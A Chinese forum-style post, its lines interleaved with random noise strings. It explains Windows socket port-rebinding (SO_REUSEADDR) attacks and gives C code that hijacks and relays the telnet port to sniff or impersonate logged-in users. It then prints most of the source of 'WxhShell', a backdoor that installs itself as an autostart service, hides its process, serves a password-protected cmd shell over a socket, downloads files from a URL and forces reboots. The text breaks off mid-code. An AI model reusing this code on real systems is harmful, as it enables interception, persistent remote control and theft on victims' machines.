在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
g'$tj&Vk: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:4gLjzL bM,1 f/^ saddr.sin_family = AF_INET;
2";SJF'5\ a2 +~;{?g saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Ro(Zmk\t (la[KqqCO bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
U_G gCI) rQ`i8GF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
IiBD?} LwcIGhy 这意味着什么?意味着可以进行如下的攻击:
GB7/x*u Q]/Uq~m C 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
cD|Htt" M<PIeKIEB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
"KX=ow#z| =ONHKF[UJ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^5GW$ cvd\/pG) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
mLV[uhq 4QOEw-~w&s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
An*~-u9m `Z"Q^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*Lqg=9kzr 7JJ/D4uT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wIB`%V "XgmuSQ! #include
b89a)k>^g #include
'B5^P #include
?S$i?\Qh #include
l:#-d.z# DWORD WINAPI ClientThread(LPVOID lpParam);
)rW&c-' int main()
:r#)z4d5 {
azQ D> WORD wVersionRequested;
0|&\'{ DWORD ret;
8lF\v /vN WSADATA wsaData;
jHXwOJq
% BOOL val;
'y]\-T SOCKADDR_IN saddr;
FTc.]laO SOCKADDR_IN scaddr;
[u}(57DS int err;
2%RNq<{Z_ SOCKET s;
zmj"fN{\ SOCKET sc;
t\P<X^d% int caddsize;
;5-r_D;9 HANDLE mt;
"tFxhKf DWORD tid;
P 3MhU; wVersionRequested = MAKEWORD( 2, 2 );
.MQ^( err = WSAStartup( wVersionRequested, &wsaData );
=@,Q Dm]L if ( err != 0 ) {
K~=UUB printf("error!WSAStartup failed!\n");
WQyLf;!Lz return -1;
/sM~Uq? }
AfeCK1mC @ saddr.sin_family = AF_INET;
fXI:Y8T DejA4XdW //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
oi}i\:
hI G,Z^g|6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!q"W{P saddr.sin_port = htons(23);
toN^0F?Qm if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
H~ZV*[A` {
sGh(#A0Pt printf("error!socket failed!\n");
2(5ebe[ return -1;
qTZFPfyU }
n
-( val = TRUE;
Hbv6_H //SO_REUSEADDR选项就是可以实现端口重绑定的
kKC9{^%) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
niB`2J {
ARcB'z\r printf("error!setsockopt failed!\n");
lL1k.&|5m return -1;
pym!U@$t }
F}Vr:~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
`Al;vVMRO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ctE\ q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
uqz]J$ }D+}DPL{^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
c'/l,k {
C8FB:JNJV ret=GetLastError();
__mF?m printf("error!bind failed!\n");
(/35pg6\ return -1;
@gY)8xMbA }
V#VN%{ listen(s,2);
UAoh`6vFF8 while(1)
)K &( {
%HrAzM.QBF caddsize = sizeof(scaddr);
df7wN#kO+ //接受连接请求
N F)~W# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
dOa%9[ if(sc!=INVALID_SOCKET)
w$JvB5O {
Eke5Nb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|:8bNm5[ if(mt==NULL)
2-Y<4'> {
;b-XWK= printf("Thread Creat Failed!\n");
A}eOFu`
break;
mI 74x3 [ }
.^B*e6DAD }
pz"0J_xDM CloseHandle(mt);
Lemui) }
p/+a=Yo closesocket(s);
pK0"%eA WSACleanup();
*6q5S4 r return 0;
E>l~-PaZY }
9B;{]c DWORD WINAPI ClientThread(LPVOID lpParam)
lg^Z*&( {
7uzkp&+: SOCKET ss = (SOCKET)lpParam;
9a8cRt6knO SOCKET sc;
wI(M^8F_Mf unsigned char buf[4096];
k:7(D_ SOCKADDR_IN saddr;
;!yQ long num;
Gz.|]:1 DWORD val;
6j
~#[ DWORD ret;
21"1NJzP //如果是隐藏端口应用的话,可以在此处加一些判断
F'0O2KQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
t5 G9!Nn saddr.sin_family = AF_INET;
X&kp;W saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Kr)a2rZ}SL saddr.sin_port = htons(23);
1I:+MBGin if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Bz,?{o6s)Q {
:O uA)f printf("error!socket failed!\n");
KCs[/] return -1;
#ep`nf0x }
'inFKy'H val = 100;
)ut&@] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F w?[lS {
M3.do^ss ret = GetLastError();
A0Qb 5e return -1;
$< JaLS }
} }59V&'t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4r45i: {
A}l3cP;
`# ret = GetLastError();
dkz=CY3p%X return -1;
q.;u?,|E/ }
s7F.sg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4t=G
{
PUUwv_ printf("error!socket connect failed!\n");
B6={&7U2 closesocket(sc);
'dn]rV0(C closesocket(ss);
ez|)ph7 return -1;
]9^sa-8 }
~sh`r{0 while(1)
?32&]iM
oW {
w(L4A0K[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
E 7{U|\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
D A\2rLs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
j:v@pzTD num = recv(ss,buf,4096,0);
ZP(f3X@ if(num>0)
uLV#SQ=bZN send(sc,buf,num,0);
{e 14[0U- else if(num==0)
YuO.yh_ break;
tS6qWtE
num = recv(sc,buf,4096,0);
vw9@v` k if(num>0)
M!o##* *` send(ss,buf,num,0);
a^I\ /&aw' else if(num==0)
" )1V]}+m break;
)P
sY($ & }
Bx<
<~[Ws} closesocket(ss);
lNYt`xp closesocket(sc);
JJN.ugT}1 return 0 ;
M<v%CawS }
t7aefV&_, :/nj@X6 cPlZXf ==========================================================
H*PSR eceP0x 下边附上一个代码,,WXhSHELL
fumm<:<CLO 50S&m+4d+ ==========================================================
_z|65H \| 8 #include "stdafx.h"
gi1^3R[ .[ICx #include <stdio.h>
1G^`-ri6 #include <string.h>
Hquc
o #include <windows.h>
`r9!zffyS #include <winsock2.h>
m+]K;}.}R #include <winsvc.h>
V@g'#={r #include <urlmon.h>
)6Fok3u uxr #QA #pragma comment (lib, "Ws2_32.lib")
_9F9W{' #pragma comment (lib, "urlmon.lib")
o6.^*%kM' W*2BT
z #define MAX_USER 100 // 最大客户端连接数
3[Qxd{8r #define BUF_SOCK 200 // sock buffer
T4Pgbop #define KEY_BUFF 255 // 输入 buffer
(@fHl=! Za z7fp#>uw #define REBOOT 0 // 重启
#Lh;CSS #define SHUTDOWN 1 // 关机
Mh]Gw(?w -lY6|79bF #define DEF_PORT 5000 // 监听端口
<Zmg# lR6@
xJd:@ #define REG_LEN 16 // 注册表键长度
qm/22:&v5 #define SVC_LEN 80 // NT服务名长度
V_ .5b&@ Q+{xZ'o"Z // 从dll定义API
A P?R"% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
&w_j/nW^' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
YJT&{jYi typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~:s>aQ`! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
12b(A+M
r@H /kD // wxhshell配置信息
"#2a8# struct WSCFG {
iu=7O int ws_port; // 监听端口
:(P9mt char ws_passstr[REG_LEN]; // 口令
8e1UmM[ int ws_autoins; // 安装标记, 1=yes 0=no
0ypNUG} char ws_regname[REG_LEN]; // 注册表键名
ymhtX6] char ws_svcname[REG_LEN]; // 服务名
qN9(S:_Px char ws_svcdisp[SVC_LEN]; // 服务显示名
Kqb#_hm char ws_svcdesc[SVC_LEN]; // 服务描述信息
y51e%n$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
NJWA3zz
int ws_downexe; // 下载执行标记, 1=yes 0=no
DEKP5?] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Z>k#n'm^z char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"o-zy'I $r@zs'N };
6]WAUK%h 98IJu // default Wxhshell configuration
-b9\=U[ struct WSCFG wscfg={DEF_PORT,
R'as0 u\ "xuhuanlingzhe",
SJn;{X>)q 1,
[}E='m}u9+ "Wxhshell",
+V ;l6D "Wxhshell",
) j#`r/ "WxhShell Service",
FpmM63$VN[ "Wrsky Windows CmdShell Service",
2*;~S44 "Please Input Your Password: ",
H)kwQRfu 1,
9<6;Hr,>G "
http://www.wrsky.com/wxhshell.exe",
{HltvO%8 "Wxhshell.exe"
XpB_N{v9w };
5H<m$K4z 6
$4[gcL' // 消息定义模块
y}" O U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
l*Gvf_UH char *msg_ws_prompt="\n\r? for help\n\r#>";
@<hb6bo,N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
K7_UP&`=J char *msg_ws_ext="\n\rExit.";
BU/"rv"(Fg char *msg_ws_end="\n\rQuit.";
ohGJ1 char *msg_ws_boot="\n\rReboot...";
&
p char *msg_ws_poff="\n\rShutdown...";
NRs13M<ftf char *msg_ws_down="\n\rSave to ";
dd %6t /=nJRC3. char *msg_ws_err="\n\rErr!";
}c,}V char *msg_ws_ok="\n\rOK!";
24 ' J [.7d<oY char ExeFile[MAX_PATH];
xX&+WR int nUser = 0;
%HhnSi1K HANDLE handles[MAX_USER];
[Gb.
JO}X int OsIsNt;
\h/H#jZJ ]v UwG--* SERVICE_STATUS serviceStatus;
cKca;SNql1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
r,73C/*&/ k_#ak%m/ // 函数声明
t%0VJB,Q2 int Install(void);
tKOmoC int Uninstall(void);
{L{o]Ii?g int DownloadFile(char *sURL, SOCKET wsh);
1hY{k{+o int Boot(int flag);
HmGWht6R void HideProc(void);
?=sDM& ' int GetOsVer(void);
S6DKREO int Wxhshell(SOCKET wsl);
Ko<:Z)PS void TalkWithClient(void *cs);
b|:YIXml int CmdShell(SOCKET sock);
hn
GZ= int StartFromService(void);
PJ|P1O36a int StartWxhshell(LPSTR lpCmdLine);
m e$Z~/Akm AlaW=leTe VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5{X<y#vAC0 VOID WINAPI NTServiceHandler( DWORD fdwControl );
{UI+$/v# y%cP1y) // 数据结构和表定义
hE D}h![ SERVICE_TABLE_ENTRY DispatchTable[] =
g
wRZ%.Cn {
`r6 ,+& {wscfg.ws_svcname, NTServiceMain},
UcHJR"M~c {NULL, NULL}
Rsm^Z!sn };
yS'I[l -$ls(oot // 自我安装
4SxX3Fw int Install(void)
q"lSZ;
'E {
<dtGK~_ char svExeFile[MAX_PATH];
6@5+m
0`u3 HKEY key;
>1Ibc=}g strcpy(svExeFile,ExeFile);
E<Y$>uKA GR_-9}jQP // 如果是win9x系统,修改注册表设为自启动
(mpNcOY<D if(!OsIsNt) {
z43M]P< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m=:9+z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
x=P\qjSa RegCloseKey(key);
By!o3}~g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cKI9#t_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'rkdZ=x{ RegCloseKey(key);
zR:L!S return 0;
A |4[vz9>H }
<)H9V-5aZ }
""G'rN_=Bi }
'n3uu1C else {
%J?xRv! Ffz,J6b // 如果是NT以上系统,安装为系统服务
JX;G<lev SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
FDs>m
#e if (schSCManager!=0)
)Nw8O{\ {
YK'<NE3 4 SC_HANDLE schService = CreateService
n b?lTX~ (
.|70; schSCManager,
|0b`fOS wscfg.ws_svcname,
i[3'ec3 wscfg.ws_svcdisp,
[}=B8#Jl-C SERVICE_ALL_ACCESS,
![=yi
tB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
f}P3O3Yv& SERVICE_AUTO_START,
6A-|[(NS SERVICE_ERROR_NORMAL,
904}Jh, svExeFile,
G5 WVr$ NULL,
O<?R)NH-P NULL,
14yv$, NULL,
^6V[=!& H NULL,
"ze|W\Bv! NULL
&j"?\f? );
db7B^|Di
if (schService!=0)
g8% &RG {
#q=Efn' CloseServiceHandle(schService);
583|blL CloseServiceHandle(schSCManager);
'-~~-}= sJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1>h]{%I strcat(svExeFile,wscfg.ws_svcname);
u&7[n_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
zRr*7G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#)O65GI RegCloseKey(key);
aX'*pK/- return 0;
_Y;W0Z }
S2&4g/ }
+=</&Tm CloseServiceHandle(schSCManager);
pl?`8@dI }
?CPahU }
bROLOf4S 9W2Vo [( return 1;
x'<X!gw }
3XV/Fb}!(i ?Z/V~, // 自我卸载
w<(pl% int Uninstall(void)
rg!r[1c {
rjYJs*# HKEY key;
0x@
mZ OQJ6e:BGt if(!OsIsNt) {
-FaJ^CN~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%>{0yEC RegDeleteValue(key,wscfg.ws_regname);
Tyx_/pJT RegCloseKey(key);
3f{3NzN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zQd
2 RegDeleteValue(key,wscfg.ws_regname);
UZ+<\+q3^ RegCloseKey(key);
kt:!
7 return 0;
YIYmiv5 }
EaN6^S= }
s2'h }
-[.[>&`/ else {
u'BaKWPS 4|?;TE5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
1=V-V< if (schSCManager!=0)
3a'<*v<xw {
MQ6KN(?\ZL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0 @oJFJrO if (schService!=0)
ud('0r',D {
*$g-:ILRuZ if(DeleteService(schService)!=0) {
uVrd i?3 CloseServiceHandle(schService);
}.6[qk CloseServiceHandle(schSCManager);
( a#BV}= return 0;
pv|G^,># }
vEJbA CloseServiceHandle(schService);
k9L;!TH~1K }
9\7en%( M CloseServiceHandle(schSCManager);
cbTm'}R(G }
Pd Wx|y{% }
5=ryDrx 6=Otq=WH return 1;
gg2(5FPP }
fz
"Y CHe "^GGac. // 从指定url下载文件
\dah^mw" int DownloadFile(char *sURL, SOCKET wsh)
)Pv%#P-< {
TM%%O :3 HRESULT hr;
+
{'.7# char seps[]= "/";
x[e<} 8'$( char *token;
=rdV ]{Wc char *file;
tKXIk9e char myURL[MAX_PATH];
SE*g;Cvg1 char myFILE[MAX_PATH];
j0q&&9/Jj 4j^
@wV' strcpy(myURL,sURL);
{+>-7
9b token=strtok(myURL,seps);
r9?Mw06Wc5 while(token!=NULL)
JB<t6+"rD {
Jln:`!#fDf file=token;
jnwu9PQ token=strtok(NULL,seps);
TB31-
() }
^U/O!GK |`FY1NN
GetCurrentDirectory(MAX_PATH,myFILE);
KMax$ strcat(myFILE, "\\");
fp"W[S|uL strcat(myFILE, file);
4 #Jg9o send(wsh,myFILE,strlen(myFILE),0);
O;3>sLgc send(wsh,"...",3,0);
p6S8VA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=Dj#gV if(hr==S_OK)
V!~wj return 0;
xyXa . else
xskz)kk return 1;
n+ M <\ ]6j{@z?{ }
, W?VhO .T`%tJ-Em // 系统电源模块
E2-\]?\F( int Boot(int flag)
Wx#;E9=Im {
J<lW<:!3] HANDLE hToken;
JW&gJASGC TOKEN_PRIVILEGES tkp;
gjlx~.0d !5!<C,U if(OsIsNt) {
{{!-Gr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Q+{n-? : LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
c &c@M$ tkp.PrivilegeCount = 1;
|DwZ{(R"W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0> \sQ,T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
eyxW 0}[ if(flag==REBOOT) {
#O&8A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
uQzXfOq return 0;
/x *3}oI }
\w8\1~# else {
N2o7%gJw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&7s.` return 0;
4skD(au8 }
yf,z$CR }
qxc[M8s else {
x?<FJ"8"k if(flag==REBOOT) {
%
]U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vP,n(reM return 0;
7xR\kL., }
_#8MkW#]~ else {
ia?
c0xL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
B)UZ`?>c return 0;
w32y3~ }
LR3*G7 }
?q [T y1#1Ne_ return 1;
L"aeG }
\{D"
!e 7j{?aza // win9x进程隐藏模块
),!qTjD void HideProc(void)
6S{l'!s' {
Fk;Rfqq ugBCBr HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_e2=ado if ( hKernel != NULL )
}-`4DHgq {
nr#|b`J] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u%!@(eKM- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'c~4+o4co FreeLibrary(hKernel);
&5R&k0i r }
+cRn%ioVi GtHivC return;
SS2%qv }
3(UVg!t %}T6]S)%u // 获取操作系统版本
H;"4C8K7 int GetOsVer(void)
!`r$"}g {
ajpXL OSVERSIONINFO winfo;
8?C5L8) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(-co. GetVersionEx(&winfo);
#LNED)Vg if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_VXN#@y return 1;
}GIt!PG else
Yr|4Fl~U return 0;
{c0`Um3&> }
4Po_-4 Ea=P2:3* // 客户端句柄模块
2t,zLwBdnJ int Wxhshell(SOCKET wsl)
," ql5Q4 {
"Rl}VeDY SOCKET wsh;
K<J9~ struct sockaddr_in client;
DaVa} DWORD myID;
LIrb6g&xj_ T^q
0'#/ while(nUser<MAX_USER)
Mb=" Te>| {
fXB0j;A int nSize=sizeof(client);
| f##5fB wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
M3Kfd if(wsh==INVALID_SOCKET) return 1;
b`_Q8 J j+YJbL v handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,z?':TZ if(handles[nUser]==0)
A2Tw<&Tw( closesocket(wsh);
)`}:8y? else
aQ~s`^D nUser++;
xN(|A}w }
!!y a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.wr>]yN nj4/#W return 0;
i mM_H;-X }
c`Wa^( tnIX:6 // 关闭 socket
g=I})s:CTp void CloseIt(SOCKET wsh)
|cY`x(?yP {
H)&R=s closesocket(wsh);
ItCv.yv35 nUser--;
et+0FF
, ExitThread(0);
A)KZa"EX }
8XbT`y mVmGg, // 客户端请求句柄
I2DpRMy void TalkWithClient(void *cs)
!o-@&q {
YbLW/E\T v8DC21pb SOCKET wsh=(SOCKET)cs;
y?!"6t7& char pwd[SVC_LEN];
4.(4x& char cmd[KEY_BUFF];
*|l/6!WM char chr[1];
CQ2jP
G*py int i,j;
},[}$m% YoE3<[KD( while (nUser < MAX_USER) {
]R? 4{t4 O9p|a%o if(wscfg.ws_passstr) {
uVU)d1N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zn(PI3+]! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ct|A:/z( //ZeroMemory(pwd,KEY_BUFF);
A70d\i i=0;
'H!XUtFs" while(i<SVC_LEN) {
FgI3 l+0P // 设置超时
3mni>*q7d fd_set FdRead;
>dG[G> struct timeval TimeOut;
~h=X8-D FD_ZERO(&FdRead);
d:q + FD_SET(wsh,&FdRead);
5P+t^\ TimeOut.tv_sec=8;
@@g\2Gs TimeOut.tv_usec=0;
Z,;cCxE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ror|R@;y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%Lrd6i_j Hb(B?!M) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
16EVl~LN pwd
=chr[0]; (j"(
if(chr[0]==0xd || chr[0]==0xa) { Rek
-`ki5F
pwd=0; "ZHtR/;
break; *tX{MSYW
} $1zvgep
i++; e{9jn>\,a
} j ! NO|&k
-/dEsgO
// 如果是非法用户,关闭 socket oi&Wo'DX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u@P[Vb
} >Aq870n
EIbXmkHl<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C#=bW'C
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]$
b<Gs
3q:{1rc
while(1) { CG&`16KN7
/DO/Tqdfe
ZeroMemory(cmd,KEY_BUFF); Xvok1NM,
0l#)fJo
// 自动支持客户端 telnet标准 !b-bP,q
j=0; NOK/<_/
while(j<KEY_BUFF) { Q_"\Q/=?Do
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nCvPB/-
cmd[j]=chr[0]; QIn/,Yd
if(chr[0]==0xa || chr[0]==0xd) { "4j:[9vR\
cmd[j]=0; rba;&D;
break; v !Kw<
fp|
} 7j i=E";.w
j++; jSQ9.%4
} "?GebA
ZDYJhJ.
// 下载文件 '7B"(dA&C
if(strstr(cmd,"http://")) { RQvV R
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &?p:3%;Dr
if(DownloadFile(cmd,wsh)) LDy<k=;o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @TA9V@?)
else 6ZqgY1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
0gF!!m
} 4oXb Pr>
else { TE-;X,gDV_
)I@L+
switch(cmd[0]) { $H'X V"<o
=FBpo2^QB;
// 帮助 qkP/Nl. u
case '?': { /WnE:3G
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i"^<CR@e
break; ;;gK@?hJ
} c| '
w
// 安装 F X1ZG!
case 'i': { f|a DTWF
if(Install()) VzRx%j/i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j%*7feSNC
else Y&r]lD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h#Ce_,o
break; Cw,D{
} h:Ndzp{
// 卸载 ;<G<1+
case 'r': { !m{2WW-
if(Uninstall()) 9-bG<`v\E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H.O(*Q=
else [H"#7t.V-~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Z@-DA*Q-
break; g"!\\:M
} SLk2X;c]o
// 显示 wxhshell 所在路径 )3z]f2
case 'p': { dyFKxn`,
char svExeFile[MAX_PATH]; qG>DTKIU
strcpy(svExeFile,"\n\r"); I8op>^N"
strcat(svExeFile,ExeFile); bn 4
&O
send(wsh,svExeFile,strlen(svExeFile),0); 8]0:1
{@
break; qGPb
} %bX0 mN
// 重启 "t&{yBQ0u
case 'b': { KLt%[$CTi
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5y_"
if(Boot(REBOOT)) 2N6=8Xy5K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /'>;JF
else { ]s|lxqP
closesocket(wsh); G\Q9IcJ0dY
ExitThread(0); ^^$vR[7
} #Y,A[Y5jX
break; 1 2]fQkp
} nY) .|\|i
// 关机 de-0?6
case 'd': { 8tWE=8<
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > 3 Ko.3&
if(Boot(SHUTDOWN)) n'64;J5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q59/ex
else { Bx X$5u
closesocket(wsh); j=.g:&r)
ExitThread(0); iWXMKu
} ^w6eWzI
break; 5urE
}
'=TTa
// 获取shell 9Nl*4
case 's': { U
%:c],Fk
CmdShell(wsh); i1/}XV
closesocket(wsh); 12r` )
ExitThread(0); 4NVgOr:
break; &?$\Y,{
} Cals?u#U=
// 退出 TJ2/?p\x
case 'x': { iiwpSGFl]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uaQ&&5%%J
CloseIt(wsh); ,e ELRzjl
break; uU+s!C9r
} O=O(3Pf>
// 离开 -"Gl
4)
case 'q': { 8)Tj
H'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1e$[p[
closesocket(wsh); L+Nsi~YVq
WSACleanup(); qU6BA\ZL
exit(1); 712=rUI%!
break; c57b f
} S_!R^^ySG9
} s}b*5@8|tA
} 4 ROWz
FYeEG
// 提示信息 [u\CD sX
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); px&=((Z7>
} H*qD: N
} gO{W#%
"X?LAo
return; x\;GoGsez
} 3Bd4
C]E
dt.-C_MO
// shell模块句柄 zlX!xqHj
int CmdShell(SOCKET sock) p[P[#IeL
{ 7jZrU|:yu(
STARTUPINFO si; vadM1c*z
ZeroMemory(&si,sizeof(si)); 0O['w<_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !`h~`-]O
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xXa#J)'
PROCESS_INFORMATION ProcessInfo; #HcI4j:s!
char cmdline[]="cmd"; )9pBu
B
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s @M
return 0; kOM-
} s#Q_Gu
LsotgQ8
// 自身启动模式 >\-3P$
int StartFromService(void) Hrv),Ce
{ 3&'R1~Vh
typedef struct Cs;<'[_?YO
{ NQ3|\<Wt
DWORD ExitStatus; i~AJ.@
#
DWORD PebBaseAddress; e6es0D[>5
DWORD AffinityMask; - coy@S=.'
DWORD BasePriority; K#U{<pUP
ULONG UniqueProcessId; ?',}?{"c
